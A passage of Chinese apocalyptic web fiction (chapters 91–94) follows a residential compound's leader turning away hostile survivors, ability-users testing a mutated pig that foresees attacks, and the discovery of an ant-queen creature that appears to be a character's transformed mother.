路过的遛弯大妈好奇地问。 “哦哦，婶，他们是想来加入我们小区的，自带晶体的那种，现在在等张老师过来。” “哦哟！真是厉害！” 这位阿婶立刻向小区其他熟人去播报此事了，末世里大家都闲得没事做，偶尔有个热闹可凑就人山人海的，不一会儿，小区门口就多了一群人来围观这些自带晶体想要加入他们小区的新人——没准过一会儿就是新邻居了呢。 之前加入海岸小区的湾镇幸存者也听说了有新的人来求助，他们好奇地前往小区门口，想看看和自己一个处境的人。 结果他们刚走到小区门口，透过人与人之间的间隙看见门口坐着的那些人时，他们整个人都僵住了。 ——是湾镇那些人！ 这些人闲适地坐在小区门口的小板凳的样子深深地刺痛了他们，让他们瞬间想起了防空洞里他们占据所有物资然后一边吃东西一边嘲讽他们这种废物活该饿死的样子。 “你们来这里干什么？！” 一个年轻些的冲动些的幸存者忍不住挤出人群，大喊道。 围观的小区居民瞬间有点迷茫——怎么的？还带认识的？不是吧？在末世里能遇见自己以前认识的人，这概率得多低啊？ 但是看了一下冲出去的年轻人……咦？是之前湾镇的幸存者。 等等……那这些人该不会是！！ 那为首的中年男人坐在小板凳上，抬起头咧开嘴笑了一下：“怎么了？你们来得我们就来不得？我们可以很守规矩地带了晶体来的。” 那年轻人攥紧了双拳，双眼几乎变得血红：“张老师不会放你们这种人渣进来的。” “你这话说的，我都要喊冤枉了，我们到底哪里人渣了，你们太容易被感染了，留着你们，说不好所有人都得死，而且你们现在不是过得挺好的吗？怎么想你们都该谢谢我当初让你们走吧？” 这下，就算是最茫然的围观群众都知道这些人是谁了。 一时间，小区居民群情激奋起来。 “快滚！我们这里不欢迎你们！” “欢不欢迎的和你们有什么关系？难道不是该你们老大决定吗？” “张老师肯定不会同意让你们这种害群之马进小区的！” “不是说好缴纳10晶体就能入住你们小区吗？怎么？原来规定是摆设，实际上接不接收是看你们的喜好？” “呃……他们好像说的也没错，听起来他们很有诚意的样子……” “老王你到底站哪边的？！” “……” “怎么回事？” 就在小区门口就快吵成菜市场的时候，张老师回来了，她一回来，小区居民们瞬间就有了主心骨，一个个叽叽喳喳地向她说起自己的想法来。 张老师被吵得有些头疼，好在那么多年的教师生涯让她练就了从学生的你一句我一句中拼凑事件完整真相的能力，她很快弄清楚了发生了什么事。 然后她转向小区门口那些已经不再坐着的异能者。 “抱歉，海岸小区不欢迎你们。” 她的语气很平静。 小区居民们在她身后纷纷怒瞪着这些人，等着他们像刚刚那样反驳，然后他们就会知道张老师有多说一不二了！ 不过让他们有些许惊讶的是，那个领头的中年人，毫无异议地接受了这个结果。 他平静地点点头：“好吧，那打扰你们了。” 张老师也平静地回答：“慢走不送。” 然后这群人就真的离开了，慢慢消失在大路的尽头，消失在了所有人的视野里。 小区居民们忍不住还有些犯嘀咕，刚刚不是还很横吗？说话一套一套的，怎么突然就这么配合了…… 嗯，果然还是张老师太有气场了。 “好了，大家回去吧。” 张老师转头对小区居民们说，大家于是就这么散开了，除了口中依旧八卦着骂着以外，就好像湾镇那伙人从来没出现过一样. 走出海岸小区的视线范围外。 中年男人咧开嘴笑了一下：“果然心很软。” “老庄，拿出来吧。” 被叫做“老庄”的人从自己上衣口袋中取出了一个金属小盒子，拉了开来后，揪着盒子里的生物将它拽了出来。 那是一条类似于鼻涕虫的东西，乍一看体积不大，毕竟都能塞在这么小一个小盒子里了，但是随着老庄将它不停向外拽，它很快就显现出了完全不符合能塞进这个盒子的体积。 随着它大半个身体露在了盒子外，它开始不停变形，长出来的触手不停向外戳刺，试图攻击任何可以攻击到的人。 不过它的攻击能力和范围非常一般，自觉散开的异能者们只保持了一定距离而已，它就完全碰不到了，保持了距离的异能者们就跟看猴一样看着这个污染物不停徒劳挣扎。 它唯一能攻击到的人就只有拿着盒子的那个异能者，但软趴趴黏糊糊的胶质刚附着到对方手上，就被猛拍了一下：“老实点！” 污染物是不可能老实的，它又没有神智，只有不停攻击的欲.望。 “明虎，还不快点，没看见老庄为了帮你受了多大罪吗？” 为首的中年男人看向他儿子，一脸不耐烦地催促着。 一直逆来顺受的年轻人此时去不知道从哪爆发出了巨大的力气，猛地扭身朝后跑去。 但他刚跑出还没两步，就被中年男人拽了回来： “你跑什么跑！我怎么有你这种儿子！” 他拽着一脸恐慌的儿子朝那只污染物拖了过去。 “不要……不要……爹！求你了！不要！万一他们不肯救我呢！万一他们不肯救我呢！啊——” 中年男人直接一脚踹在了他儿子的肋骨上，打断了他的哭嚎。 “啊啊啊啊啊——” 终于找到了可攻击对象的污染物瞬间缠上了那崩溃的年轻人，透明胶质一般的触手细密地从他的眼睛鼻子和耳朵里钻了进去。 中年男人咧开嘴笑了。 第92章 第 92 章 神奇污染物在哪里（下）…… “你们怎么又来了！不是说了不欢迎你们吗？” 小云将武器横在身前, 一脸警惕地盯着又出现在他们小区门口的湾镇异能者们。 “救救我儿子吧！他只是个普通人！” 但是这一次，之前那个趾高气昂的中年男人却一脸惊慌失措，目光中满是祈求。 小云愣了一下, 看向他身边的年轻人，这一看就吓了一跳——我草什么玩意儿！ 确实是一看就是被污染了, 他整个人都已经快处于半透明状态了！ 小云瞬间有点慌神, 把一群凶恶的异能者赶走他没有任何压力，但是他真的不是能立刻做出要不要救这个凶恶的异能者的普通人儿子这种决定的人啊！ 他光速敲击了三下金属棍，这种决定还是交给张老师来做吧…… 张老师还没来得及从小区离开，所以来得很快。 “怎么回事？” “张老师！这个人……这个人他好像快被污染了！” 小云疯狂地指着那个已经逐渐转为透明状态的不知道还能不能称之为人的东西喊道。 张老师一愣, 海岸小区周围她明明每天都在清理巡逻, 今天也清理过一轮, 怎么可能这么就有污染物出现？ “求求你们了！救救他吧！他只是个普通人, 他是无辜的！” 张老师眯起眼，紧盯着那个中年男人： “你之前说想让你们中的一人入住海岸小区, 指的就是你儿子吗？” 中年男人愣了下：“对。” “你想让他入住海岸小区是为什么？因为小区居民可以在被污染后及时被救治？甚至还有可能获得异能？” 中年男人再次愣住了：“你是怀疑我是故意让他被感染的吗？” 他顿了一下：“虎毒不食子, 我知道我在你们这没什么信用，但是只要你们愿意大发慈悲救救他, 我什么都愿意做, 条件随你们开。” “嗬——” 那已经近乎完全透明化的年轻人发出了一道甚至不像是人声的声音，张老师眼中闪过一丝犹豫, 最后还是挥了挥手, 对小云他们说：“去把保安室的担架拿来, 我送他进去。” 小云他们立刻行动了起来, 去保安室抬了个担架出来，几个人手忙脚乱把这个透明的黏糊糊的软不拉几的人放到了担架上。 张老师操纵着几块金属过来将他彻底封锁以避免他突然攻击路过的人，然后将整个铁盒子一般的担架直接带进了小区, 朝102快速赶去. “嘉佳？” 陈嘉佳抬起头，看见张老师身边飘着一个严严实实的铁盒子，眼中闪过一丝迷茫。 然后周围包括上方的铁片突然散开，露出了里面的一副担架，和担架上的“人”。 陈嘉佳立刻从床上站了起来：“又有人受伤了？” 张老师快速地点了点头，然后在陈嘉佳开始治疗前快速地将这人的来历说了一遍，包括她的怀疑。 “……所以，要不要救他，全凭你的决定，如果你不想救，那我们就算了，我会去跟他们说他们来得太晚了。” 陈嘉佳愣了一下，然后说：“张老师你还是把他带进来了，就说明你还是想救他的吧，毕竟……我们是谁就可以决定一个人是该活还是该死呢？” 她笑了一下：“没事的，反正我也快休息好了，异能就是拿来用的嘛。” 她抬起手，几秒内，她原本带了点红晕的脸庞快速地又苍白了下来，而随着她的肤色逐渐白得透明. 张老师再次出现在小区门口时，那中年男人快速地冲了上去，虽然被小云他们拦住了，他焦急地问：“怎么……怎么样了？他还活着吗？” 张老师动了动手指，担架从她身后飘了出来。 担架上的年轻人闭着双眼，气若游丝，几乎听不出任何呼吸声，如果不是胸膛还有些微妙的起伏，看上去就像个死人一样，但是他原本的异状已经彻底消失了。 “太好了……太好了……没来晚……” 中年男人趴在担架上喜极而泣。 然后他突然抬起头，在张老师面前跪了下来：“以后要当牛做马，任你差遣！” 张老师皱了皱眉：“十晶体算医疗费，留下晶体之后你们就可以走了，以后不要再出现在Q市周围，也不许再对普通人出手，我管不到你们，但只要你们还有点良心，就自己约束一下自己吧。” 中年男人从口袋里掏出那原本要用来交入住费的十枚晶体。 “谢谢……谢谢……您真是个好人。”. 江朗：“这个污染物……咦？” 听见江朗的话后，陆燃将视角转向了对方在看的方向。 然后看见了一只大概是家猪变异过来的污染物，身体特征上隐隐约约还能看出曾经的痕迹，算变异幅度不大的那类污染物，估计是村里谁家养的或者放养的猪。 乍一看，这只猪在污染物里显得很普通，虽然它捕捉猎物的动作看起来蛮帅气蛮干脆的，但是真的很没特色，感觉进行的就是最普通的异变——力量速度感官的增强这种。 既不会飞也不会喷水也没有长出什么奇怪植物，总体上是个非常普通的污染物吧。 那么是什么引起了江朗的注意呢，陆燃看了一会儿，就也注意到了不对。 “你也看出来了对吗？” 陆燃“嗯”了一声。 这只猪对猎物的预判堪称百分之百的精确，猎物的假动作做了跟白做一样，它完全没有被迷惑，并不是靠着快速的反应神经在进行猎杀，而是单纯地像是能看见猎物的下一步动作一样——甚至，仔细看的话，还能发现它的动作其实有一点点慢吞吞的，颇有种有恃无恐的感觉。 “走，我们去试试它。” 陆燃说完，放下望远镜就窜了出去，江朗也兴致勃勃地跟上。 如果真能找到一个有预测能力的污染物，哪怕是短时间的预测，也很不错了，这种异能非常罕见，而且怎么想都很实用，给于檬用的话可攻可守的，越想越觉得很不错啊！ 转瞬间，两人就到了那头猪附近。 他们刚落下，猪就警觉地朝他们吼了起来，咕噜咕噜地从喉咙深处发出接近呼噜声的声音，试图将他们吓跑。 陆燃这次不打算用精神链接，精神链接的范围太大了，他总得给这只猪一点容错率。 于是他起手一个心灵震荡——持续2s的硬控，会上一个debuff“眩晕”。 和精神链接一样是范围技能，但是提前走位可以避开。 他刚抬起手，那只猪就疯狂地转身就往后窜。 好的，看来很大概率是真的有预测异能，心灵震荡的伤害很小，就算污染物有对危险的敏锐感知，一般也不会在这种时候逃。 陆燃取消掉精神震荡，直接换了一个大范围精神链接。 那只猪跑的速度更快了，只可惜他跑得再快，也没能逃出陆燃的技能范围。 精神链接一落下，原本在疾奔的猪就瞬间僵在了原地，维持着一个看起来非常累的姿势。 陆燃慢悠悠地走近，再取消精神链接。 这时候心灵震荡的CD也差不多已经转好了，他重新捏起了技能。 猪扑通一下落在地上，然后一个打滚，猛地从地上翻了起来，站在那一脸警惕地看着陆燃，余光还时不时地瞥向陆燃身后的江朗。 这一次，它又一次从喉咙深处发出了声音，只不过不是原本轰鸣般的呼噜声了，反倒是有点像呜咽——评鉴一下的话，甚至有点夹。 如果它会说话，一定是在说： “两位大老爷，干嘛为难我这只弱小无助又可怜的猪啊……” 陆燃打出精神震荡。 但这只猪却不跑了，它硬生生扛了这么一下，扛完之后干脆趴在地上不起来了。 大概是觉得就算跑也跑不出面前这个人类的手掌心吧。 陆燃这一次从装备上抽调了一个攻击技能，比心灵震荡的的杀伤性要强得多，但是那只猪还是一动不动，好像就打算硬挨这么一下。 陆燃不是很满意这只猪的“非暴力不合作”。 于是挥挥手取消了技能。 那只猪非常人性化地松了口气。 然后他就看见这个人类手里出现了一团火。 猪：“……” 干什么呀干什么！ 陆燃操纵着火苗出现在猪的任意一个方向，对火焰的恐惧是每个生物的本能，它原本“你随便打我吧我不跑了还不行吗”的死皮赖脸样立刻消失了，灵活得跟个猴子一样四处乱窜，就为了躲避这玩意儿烧上自己。 江朗从旁围观了半分钟，非常确定地说：“嗯！它肯定有预判能力！” 陆燃点了点头，他对这只猪没留手，每次选择的攻击角度都刁钻无比，如果不是它能提前看见自己的进攻方向，估计光扭身都能扭到骨折。 “保护起来吧。” “嗯嗯，这十天收获还是很不错的嘛，不管是控制还是预判都是很强的异能，别的不说，至少够于檬自保，她之后出去，我们也能安心点了。” 陆燃终于放过了这只猪，它累得趴在地上直喘气，甚至懒得挣扎。 直到这两个人终于要走了，它才一脸迷惑地抬起了脑袋，困惑地看着这两个过来就为了折腾它一顿的人类。 ——这就走了？折腾这么久就走了？你们难道不杀我吗？不吃我吗？ 它已经恢复了大半力气，整只猪警惕地盯着那两人的方向——它已经很久没有这么全神贯注地调动起全部感官来警惕来自外部的攻击了，自从觉醒了预判异能之后，它永远先攻击者好几步，等它慢悠悠地爬起来再闪躲，也都是来得及的，直到今天。 可把它累坏了…… 结果它就看见这两个人类真的走了，速度还极快，转眼间就已经连背影都看不见了。 ——耍猪玩呢！ 第93章 第 93 章 一只很懒的猪和一座会动…… 陆燃和江朗没急着回海岸小区让于檬做选择。 主要原因是, 这两只污染物，麻雀和猪，都还没到五级污染物的水平。 通常来说, 不管是污染物还是异能者，到了五级之后多少能解锁点新鲜功能, 所以陆燃和江朗打算再等等, 给他们一点时间，而于檬毕竟急着找妈妈，一旦知道他们找到了合适的污染物肯定就想立刻行动。 这段等待的时间还能顺便再观望一下，看看这片山里还有没有其他漏网之鱼。 不过因为现在有了两个很不错的保底, 不管是陆燃还是江朗, 都没有之前观察得那么仔细了, 大部分时间还是拿着望远镜在看这一猪一麻雀进化得如何了。 然后陆燃很快就发现了一个大问题。 麻雀倒是不用担心, 它非常有一个污染物应有的进取之心，每天不是在驭使污染物为它冲锋陷阵捕捉猎物, 就是在吃吃吃, 疯狂吃晶体。 反正看着就是没浪费一点消化时间。 但是另一头…… 那只猪。 陆燃皱起了眉头。 怎么能有人……不是，怎么能有猪懒成这个样子？ 这已经是他第四次看见这只猪打了个猎之后就开始躺着晒太阳, 呼呼大睡, 全程除了翻了个身以外没有任何运动量。 他专门抽了一天空闲时间来观察这只猪的行动轨迹。 早上，睡到所有污染物都醒了半天了才起床。 他盯着他的机械表一直到这只猪起床——它居然十二点才起。 然后就近抓一只猎物, 也不管猎物质量, 反正标准就是离得够近就抓, 呱唧呱唧吃完之后接着睡。 这一觉就直接睡到了第二天。 陆燃：“……” 都说猪懒是错误的刻板印象, 但是这只猪真是懒得出奇啊……就连成为污染物都没能让它更努力一点。 还是说这已经是污染物的攻击性与它本猪的懒惰中和过的结果了？？？ 它之所以能成功升级到四级不会是前期都靠其他污染物来攻击它吧？ 这不是很行。 就这样下去，它猴年马月才能升级到五级。 陆燃决定行动起来. 悠闲地躺在泥地里晒太阳的猪突然发现自己身上落下了一片阴影，它睁开眼。 “……” 怎么又是这个麻烦的人类！！！ 猪觉得自己前途灰暗。 陆燃一挥手, 手中再次出现了一团火苗。 猪：“……” 又来！！ 它猛地一个翻身从地里爬了起来，开始逃窜。 然后它气喘吁吁逃窜到一半，突然发现属于那个人类的火苗停住了。 它原地喘着气，警惕，但忍不住稍微趴了下来。 陆燃对此表示很无语，他让火苗再次从猪的右边闪了它一下，它被吓得往左边猛冲了几步，然后明知道会撞上但还是撞上了一只污染物。 它对污染物倒是压倒性地强，伸出猪爪子就按住了那只污染物。 陆燃满意地点了点头。 然后那只猪……突然有点明悟，这个人类拿火赶了它一路……是让它捕猎？ 它试探性地一爪子拍死了那只污染物，翻出晶体并吸收掉，全程没有再被那团火吓过。 于是它有些悟了。 刚“悟了”，火苗就又出现了，它猛地窜了出去，口中不停发出嚎叫，如果陆燃听得懂污染物的语言的话，它大概是在喊——知道了知道了！捕猎嘛！我自己会抓食物的！您老行行好把这团火收回去行吗？！ 可惜陆燃听不懂，而且就算听懂了也不会信任它的自觉性，于是，江朗回来的时候就看见那只猪被陆燃撵得满山跑的样子。 他一脸迷茫地询问：“它怎么了吗？” 陆燃：“它太懒了，只能我催着它去捕猎。” 江朗：“？” 大受震惊，还有污染物需要人催着去捕猎的……头一次见，他能说怪不得这一片山头生态这么好吗。 陆燃撵着这只猪跑了快一周，它终于升上了五级，赶上了隔壁麻雀两天前的进度。 可以准备回小区让于檬做选择了。 陆燃和江朗徒步朝他们停车的地方走去。 然后，陆燃皱了一下眉，往后退了两步。 江朗左右看看：“怎么了？这车怎么了吗？” 陆燃摇摇头：“不是车的问题。” 江朗：“那是？” 陆燃：“我们的车没动过地方。” 江朗被陆燃这句话整得有点茫然，但还是老实地点了点头：“对，没动过，一直在这里，这块石头我停车的时候就有看见，就是这个距离。” 陆燃：“那就是那座山动了。” 江朗：“？啥？” 他一脸茫然地抬起头朝四周望了一圈，说实话，他不知道陆燃指的是哪座山，这里全是山。 陆燃指了指他们正对面的第三座山。 “这个，我之前在这个角度看这座山，它要更远一点。” 江朗努力睁大了眼睛去看：“你确定？” 陆燃：“我确定。” 江朗：“难道是之前空间泡的情况？土地本身就是污染物？去看看吗？” 陆燃点点头：“嗯。” 然后就坐上了副驾，江朗绕到驾驶座那边上了车，朝山下开去。 山间的距离就是看着近实则远，明明看着也就一点点距离，实际上江朗开了将近一小时才开到那座疑似在移动的山脚下。 他停下车，和陆燃一起下车。 两个人略带几分警惕地踏上了这座山。 虽然理智上知道能威胁到他们的污染物极少，但上次空间泡给他们的记忆过于深刻了一点，所以动作中多少就带出了几分慎重。 沙沙……沙沙…… 运动鞋踩在松软的土地上，发出不可避免的细小声音。 他们随时准备着被攻击，但是，这样走了大约十几分钟，已经快爬上这个小土包的三分之一高度了，他们依旧没有受到任何攻击。 别说这座山本身没有突然暴起糊他们一脸泥土了，就连山上的污染物也莫名安静，如果不是看见它们偶然翻个身，陆燃和江朗会以为这些污染物全是尸体的。 但是总不能整座山的污染物都和那只猪一样懒吧…… 这其中肯定有什么理由。 陆燃直接放了个超大型精神链接，试图看看土地本身是不是一个污染物。 并不是，土地里有些细小的光点，但都不是像当初那个空间泡里那样明显的强大污染物亮度，应该只是些原本就住在地下的动植物甚至微生物转变而来的污染物，光点细微到可能连升级都没升级过。 陆燃：“我去隔壁山抓一只污染物过来，你要一起吗？” 江朗点了点头，这座山太古怪了，虽然污染物都不攻击他们，但是不攻击人的污染物才吓人啊！他还真不太敢一个人留在这。 他们快速下山，跑去隔壁山头随手抓了只最近的污染物来，那是一只长得有点像水母的东西，陆燃嫌它太湿滑，就直接丢给了江朗。 江朗手伸得笔直，尽量让那些丝状的的玩意儿离他远点，因为这些东西很明显应激了，试图攻击他。 “我草！早知道应该抓一只干净一点的污染物的！” 再一次伸手挥开那些丝状物的江朗忍不住抱怨。 但是他一踏上那座奇怪的山……他就不需要再像赶苍蝇一样不停挥手了，因为那只长得很像水母的污染物突然就那么安静了下来。 原本在空中飘舞的一条条细丝瞬间垂落了下来，如果不是主体还微微有起伏，江朗会以为它瞬间死了。 江朗放开手，让它落在地面上，算是放生。 但是它毫无逃跑或者攻击的意图，就在地面上这样安顿下来了。 江朗：“……” 陆燃：“……” 江朗：“好古怪的山！” 两个人原地沉思了一会儿。 江朗突然举手：“陆燃，我觉得有点奇怪。” 陆燃：“什么地方？” 江朗：“我也说不出具体哪里奇怪……就是这座山，哪怕不考虑污染物的问题，就是如果它只是末世前一座普通的山，也给我一种很奇怪的感觉。” 江朗很明显在绞尽脑汁地想，他有一种直觉，但是他不知道那直觉究竟来自哪里，又要将他引向何处。 陆燃倒是很耐心：“具体是哪里让你感觉奇怪？视觉上？听觉上？还是什么地方？” 江朗突然抬起头：“我知道了！” 他使劲踩了踩地面：“我从上这座山开始，就一直觉得需要小心翼翼地走路，一开始我以为我是单纯警惕，而且跟着你走。” “但是我刚刚意识到，我是不敢使劲踩，因为我总有种会把脚下的地面踩塌的感觉。” 陆燃将视线投向他们中间的土地。 看上去很普通。 他从背包中取出一支铁锹，然后使劲往地上一插，然后双手紧紧按压在最上方，用力。 巨大的轰隆一声！两个人齐齐跌进了地里。 是的，地里。 陆燃和江朗拍了拍身上和头上的泥土，抬起头，看见了一个巨大的蚁穴。 比正常的蚁穴要大得多得多，因为这里的蚂蚁个头就很大，几乎有半人高。 排成一排的巨大蚂蚁正从他们身边经过，头顶顶着相较它们体型细碎但实则大块的食物。 有一队蚂蚁似乎注意到了天花板被搞出了一个窟窿，于是调转方向朝陆燃和江朗这边列队而来。 江朗下意识地捏了个技能，但是这一队蚂蚁完全没理他，像是看不见他们两个大活人一样就从他们身边过去了——哦蚂蚁确实差不多是瞎子来着。 虽然他们两个大活人掉进了蚁穴，但是显然各司其职的蚂蚁们没有想搭理他们的，继续忙碌地来来去去。 陆燃和江朗对视一眼，慢慢沿着它们挖出来的通道朝前走去，尽量不踩到它们。 在地底不知道前进了多久，不知道拐过了多少奇怪的弯，他们抬起头，看见了一个巨大的巢室。 相较起他们路过的其他巢室都要巨大得多。 那大概就是蚁后所居住的地方了。 虽然很对不起这些辛勤劳作建造巢室的蚂蚁，但是陆燃和江朗还是干脆利落地掰开了那个巨大的巢穴。 然后……他们看见了蚁后。 江朗和陆燃同时愣住了。 因为蚁后有一张人面。 也因为那张人面看起来异常眼熟。 至少有四五分像于檬，像中年版本的于檬。 第94章 第 94 章 于檬母女团聚 “快点！我怎么有你怎么个废物儿子！都变成异能者了还这么废物！” 中年男人恼火地催促着再一次落在了队伍后排的年轻人。 年轻人眼中闪过一丝怨愤。 他从异能中并没有获得多少体能, 只获得了一个古怪的能力，他能爬了快三个小时山都还没掉队已经尽力了好吗？ 有时候他真想直接一屁股坐下算了，反正他现在是异能者了, 被污染物攻击也不会变成污染物，比以前安全很多吧！ 不过他也只敢这么想想, 这里可不是山下, 这里的污染物太多了……他要是敢掉队的话…… “你怎么不变成异能形态？就非要我们所有人配合你的速度才开心吗？” 年轻人不情不愿地变换了形态，原本高瘦的人形瞬间溶成了一滩地上的透明胶质。 他以这样的形态飞快向前挪动着，瞬间超过了大半人，但他感到一阵难以抑制的耻辱, 因为哪怕其他人只能看见一滩透明的东西在挪动, 但他的感受就是他趴在地上往前爬, 不像人类, 像壁虎，或者其他爬来爬去的东西, 如果早知道获得的异能和污染他的污染物有关, 他一定会强调选个异能有用点的污染物的。 或者没什么用也行，但是不要是这种异能。 他们整队人全速前进了整整三天, 终于翻过了湾镇前方那座巨大的山。 湾镇的物资太少了, 他们原本还以为可以偶尔下山来补充点物资，结果下山之后发现不知道哪个龟孙, 把整个镇的物资都搬空了。 于是他们不得不前往隔壁镇, 结果隔壁镇也空了。 花了一点时间之后, 他们才弄明白发生了什么事, 周围的物资基本全都被Q市的异能者收集走了，他们以为这附近已经没有任何幸存者。 他们还知道了另一件事，就是Q市有个可以治愈污染的治愈系异能者。 那么他们的物资就有新的着落了, 因为其实翻过面前那座高山，再走一段路，就是另一个大市。 之前一直没这么做的理由只是因为他们的团队里还有一个累赘。 但现在这个累赘能解决了。 经过整整一周的跋涉，他们携带的物资都快用光了，他们终于迈入了M市。 一群人兴奋地冲入最近的超市开始抢夺食物时，却突然遭受了攻击！ “喂！你们哪来的！懂不懂规矩？来了先登记！” 将他们一次性制服的异能者除了痛揍了他们一顿倒是懒得伤害他们，只不耐烦地让他们“登记”。 登记，什么登记？ 然后他们终于得知，原来M市已经不是无主之地，而是演化成了类似于Q市那样的积分制基地，只不过没有Q市的那群人那么圣母病，执着地维持着末世前的秩序，M市的人生活得要更随意更自主一些，只要能交上晶体兑换积分，谁管你私下做什么，和基地内其他人打到死也没人来管，顶多有负责收尸的。 进城了的湾镇异能者们老老实实地进行了“登记”。 然后他们很快就发现，这M市的积分兑换可真黑啊。 Q市海岸小区的积分制是1晶体兑换100积分，然后100积分能换一大堆物资，但M市这……他们带来的上百枚晶体最后只换得了够他们一群人生存一个月的物资。 “草！真他妈黑！这群黑心玩意儿！” 其他人怒骂的时候，中年男人看着眼前这些物资，摸了摸下巴，心中突然有了主意。 他观察了一下，找到了那些有想要保护的普通人的异能者，然后走到他们身边，轻声问： “让普通人变成异能者的途径的消息，你觉得这值多少积分？”. 发现地下蚁穴的蚁后长着一张和于檬四五分相像的脸后，陆燃和江朗立刻全速启程朝海岸小区开了回去。 他们可能……真的找到了于檬她妈妈。 就是很难说这污染物到底还是不是她母亲。 “咦？江哥你们回来啦？这些天怎么没看见你们？” 门口值班的异能者好奇地看着猛地刹车停下的属于陆燃江朗的那辆越野车。 然后看见两个人一脸严肃地跳下了车，急匆匆地就往小区内部赶，就连一向友好的江朗也只是随意地和他打了个招呼。 他好奇地看着他们的背影——能有什么事是能让他们都这么慎重的呢？ “咚咚咚。” “咚咚咚。” 门内很快传来了一阵脚步声。 门打开后，门内的于檬愣了一下才反应过来站在她门口的是陆燃和江朗。 然后又愣了一下，因为他们的表情看起来极其严肃。 简直就像他们上次来通知他们没找到她妈妈时的表情一样。 “江哥？陆哥？是没找到什么好用的污染物吗？其实没关系的，我感觉一般的异能也够用了，毕竟我只需要自保而已，打不过的话我还不会逃跑吗？” “我们好像找到你妈妈了。” 于檬的话瞬间中断在了原地，表情也中断了。 她好像突然掉线了一般，耳中是呼啸而过的金属轰鸣，眼前是一片白光，只能隐约看见江朗的嘴唇在移动。 “于檬？于檬！你还好吗？！” 江朗一脸惊慌地窜进于檬现在住的这个房间里，扶着她在沙发上坐下，然后到处找有没有能让她冷静一点的东西，不过他还没来得及完成这个急救，就听见于檬的声音再次响起来了。 “真的是我妈妈吗……” 她好像不太敢相信。 陆燃：“你现在听我说，先不要抱太大希望。” 于檬点了点头，她本来就没敢真的抱太大希望。 陆燃诡异地停了一下，意识到自己这句话容易造成误解，然后只能进行更加精确的补充：“我的意思是说，我们看到的……大概率是你妈妈，我们确实找到了，她长得和你很像，她是不是下巴这里有三颗痣。” 于檬的双眼瞬间亮了起来：“对！对对对！就是她！是的！她这里长了三颗痣！” 陆燃：“但是她已经变成污染物了。” 于檬瞬间僵在了原地。 她不知道该说什么，因为那一瞬间她脑海中的思绪确实全都消失了，停滞了。 过了十几秒后，她才惊恐地站了起来，然后带着几分哀求说：“可不可以不要杀她，她……她应该离Q市很远吧，河镇，河镇现在应该基本没有人在了吧，可不可以……可不可以不要伤害她……” 江朗连忙插嘴：“我们没对她怎么样，你别急，你别急，而且……而且我们怀疑，她可能还保留了一点自己的意志。” 意志，不是意识。 于檬迷茫地抬起头。 于是江朗给她解释：“她变成了一个类似于蚁后的污染物形式，然后她可以操纵整个蚁穴里的蚂蚁，甚至还有其他动物，然后让蚂蚁们搬着山移动，嗯，我知道这听起来很奇怪，但是总之，你妈妈正在操纵着一整座山朝Q市过来，我们之所以能发现她，就是因为陆燃发现那座山在移动。” “她……应该是想来找你，或者说，至少她的执念是来找你，而且她对人没有什么攻击性，呃，至少现在没有，我们两个人在蚁穴里走了半天都没被攻击。” 妈妈……也在找她吗？ 哪怕已经变成污染物了，也在找她吗？ 于檬突然觉得眼眶有点热。 她快速低下头，然后抬起头：“我……我可以去见见她吗？” 江朗：“当然可以！” 陆燃：“嗯，我们回来就是为了让你去见她，而且我们想过解决办法了。” 于檬眼中升起了希望：“什么？” 陆燃：“我们这段时间找到的拥有特殊异能的污染物有两个，一个是类似于预判，一个是类似于简单的意图操纵，我们本来是想让你用前一个的，因为你应该也不太想去操控别的污染物或人，预判这个异能够强也够独立，用于自保是最合适的。” 他看了眼江朗，江朗立刻接上： “但是……你母亲现在的情况，我们觉得或许你接种这个操控异能会更好，因为虽然你母亲现在对人类没有攻击意图，可能是因为变为……污染物以前害怕自己伤害到你，但是变为污染物后又无法精确判断哪些人是你所以执行了更加普遍的不攻击策略。” “但是我们无法确信这是暂时的还是永久的，也无法保证你在她身边能一直一直安全下去。” “如果有一天，她的执念消失了，那么她不受控的情况下会是一个非常危险的污染物，就算离Q市很远，我们也不能冒这个风险。” “所以我们觉得，由你来做操控她的那个人，是最合适的，你觉得呢？你愿意吗？” 于檬点点头：“我愿意！” 陆燃和江朗对视一眼：“好，那我们出发吧，先去让你确认一下那是不是你母亲，然后问一下陈嘉佳的情况和她自己的判断，然后把那只操控系污染物带回来给你接种异能。” 这个安排非常明确，三人立刻行动了起来. 轰隆隆的发动机声音中，于檬紧张地捏着后座的安全带，她探着头，想知道哪座山才是她妈，但是这里山也太多了…… 她的动作引起了江朗的注意，他扭过头来，给了她一个安抚式笑容：“我一看见那座山就会告诉你的好吗？” 于檬：“好……好……” 话是这么说，她捏着安全带的手攥得更紧了，双眼也更加频繁地扫视周围，只是头不动了而已。 然后这样僵硬地坐了不知道多久，江朗突然伸出手，指向前方： “你看见了吗？我们现在正前方这座山后面有个露出来的山头，看见了吗？那个就是。” 于檬小心翼翼地靠前： “那……那就是吗……” 陆燃轻轻地“嗯”了一声。 于檬觉得自己的心跳逐渐快了起来。 她努力地盯紧那座山头，好像真的看见那座山在逐渐朝他们的方向的移动。 虽然她很清楚，就算那座山在移动，也不是她这样肉眼能看出来的，那种错觉只是来自于江朗在开车前进而已，但是她的心脏依旧忍不住因为这种错觉而砰砰直跳。 不知不觉中，江朗已经绕过了前面那座山，于是原本只露出一个角的小山瞬间在于檬面前露出了全貌。 她呆呆地看着，看着，一直到江朗停下车，然后转过头来对她说： “于檬，到了。” 于檬晃神了一瞬，突然反应过来一般“哦哦”了两声，然后推开车门，跳了下去。 陆燃的声音在她耳旁响起：“不要离开我们太远，我知道你急着见你妈妈，这里的污染物也确实没什么攻击性，但是还是小心点，不急这一时半会儿的知道吗？” 于檬抬头看了一眼陆燃，陆燃一向冷淡的脸庞上带着一种微妙的告诫与担忧，好像在担心她会在他一不留神的时候就窜出去一路跑进山里。 于檬很想告诉他，不用担心，她现在都感受不太到自己的腿，更不用说拿它们来跑步了，不过她的语言系统好像也宕机了，于是她只是普通地点了点头。 江朗和陆燃一左一右带着于檬上了山，本着走熟悉的路线比较安全的想法，他们按着之前走过的路线上山，打算再从之前陆燃撬出来的那个洞走一趟，不过到了地之后江朗和陆燃就略有些无语地发现，这些蚂蚁的动作真挺快的，他们就来回一趟的时间，它们就已经把陆燃之前撬出来的那个洞补好了。 抱歉了，要让你们白忙活一场了。 陆燃重新从背包里掏出了铁锹。 伴随着哗啦啦的碎土块掉落的声音，陆燃和江朗带着于檬再次来到了地下。 原本井然有序运作着的蚂蚁们再次分出了一队前来补坑，陆燃他们则朝蚁后的巢穴走去，同这队蚂蚁擦肩而过。 